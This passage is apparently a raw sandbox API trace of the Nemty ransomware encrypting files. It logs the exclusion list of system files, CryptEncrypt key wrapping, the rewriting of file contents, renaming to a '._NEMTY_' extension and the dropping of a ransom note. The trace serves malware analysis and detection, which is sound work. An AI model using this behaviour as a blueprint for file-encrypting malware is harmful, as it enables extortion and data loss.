CloseHandle (hObject=0x2e8) returned 1 [0192.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.139] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.139] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.140] CloseHandle (hObject=0x2e8) returned 1 [0192.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2629eb30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2629eb30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.140] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.140] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2629eb30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2629eb30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.140] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.140] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.140] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0192.140] lstrcmpiW (lpString1="Flash.RUS", lpString2=".") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="..") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="...") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="windows") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="$RECYCLE.BIN") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="rsa") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="NTDETECT.COM") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="ntldr") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="MSDOS.SYS") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="IO.SYS") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="boot.ini") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="boot.ini") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="ntuser.dat") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="desktop.ini") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="CONFIG.SYS") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="RECYCLER") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="BOOTSECT.BAK") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="bootmgr") returned 1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="programdata") returned -1 [0192.141] lstrcmpiW (lpString1="Flash.RUS", lpString2="appdata") returned 1 [0192.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUS", lpUsedDefaultChar=0x0) returned 9 [0192.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUS", lpUsedDefaultChar=0x0) returned 9 [0192.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUS", lpUsedDefaultChar=0x0) returned 9 [0192.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUS", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUS", lpUsedDefaultChar=0x0) returned 9 [0192.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.142] Sleep (dwMilliseconds=0x5) [0192.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262c4c90, dwHighDateTime=0x1d561e8)) [0192.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262c4c90, dwHighDateTime=0x1d561e8)) [0192.143] GetLastError () returned 0xb7 [0192.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.143] GetLastError () returned 0xb7 [0192.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.143] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.143] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.143] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.143] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="KIcOZEmr4konSRdGwHxE92QSSVxqNfXJlT51BXo34PfHyTH+3U95UpJC+jDeyfN+\r\nANojLq5A7D8XsC00vbl+KO3cgM9Q+1x0FD2thuYxgQsZeOF42SYVTNkUuvdV4hMm\r\nwLCw7qXa7GjxdQreRXIcC5R5Q3XQLL3MoOYF2HeMuUA2te8A7v1HyPmfTbDir+v7\r\nLSXSwdjUb+tJouTsg17O41EgzPCkAKKvei+7Fr2ilJoXZv9qyQZ1LjVKQpqN5fEL\r\n95Kz/SAl5l0SARKMmU+zCmWSvdNRUSPL0IJ8qI1k4yLDsPPoylXOJGHYWOywahzy\r\nhLOeop3EvyTcv/u9AjQxfA==\r\n", pcchString=0x653e29c) returned 1 [0192.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.144] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.144] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.144] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.146] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.146] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.146] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.146] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.146] CloseHandle (hObject=0x2f0) returned 1 [0192.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.146] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus._nemty_kgobjgd_")) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.147] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.RUS", cAlternateFileName="")) returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2=".") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="..") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="...") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="windows") returned -1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="$RECYCLE.BIN") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="rsa") returned -1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="NTDETECT.COM") returned -1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="ntldr") returned -1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="MSDOS.SYS") returned -1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="IO.SYS") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="boot.ini") returned 1 [0192.147] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="boot.ini") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="ntuser.dat") returned -1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="desktop.ini") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="CONFIG.SYS") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="RECYCLER") returned -1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="BOOTSECT.BAK") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="bootmgr") returned 1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="programdata") returned -1 [0192.148] lstrcmpiW (lpString1="MCIMPP.RUS", lpString2="appdata") returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUS", lpUsedDefaultChar=0x0) returned 10 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUS", lpUsedDefaultChar=0x0) returned 10 [0192.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUS", lpUsedDefaultChar=0x0) returned 10 [0192.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUS", lpUsedDefaultChar=0x0) returned 10 [0192.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.148] Sleep (dwMilliseconds=0x5) [0192.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262eadf0, dwHighDateTime=0x1d561e8)) [0192.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262eadf0, dwHighDateTime=0x1d561e8)) [0192.159] GetLastError () returned 0x0 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.159] GetLastError () returned 0x0 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.159] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.159] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.159] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.159] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: 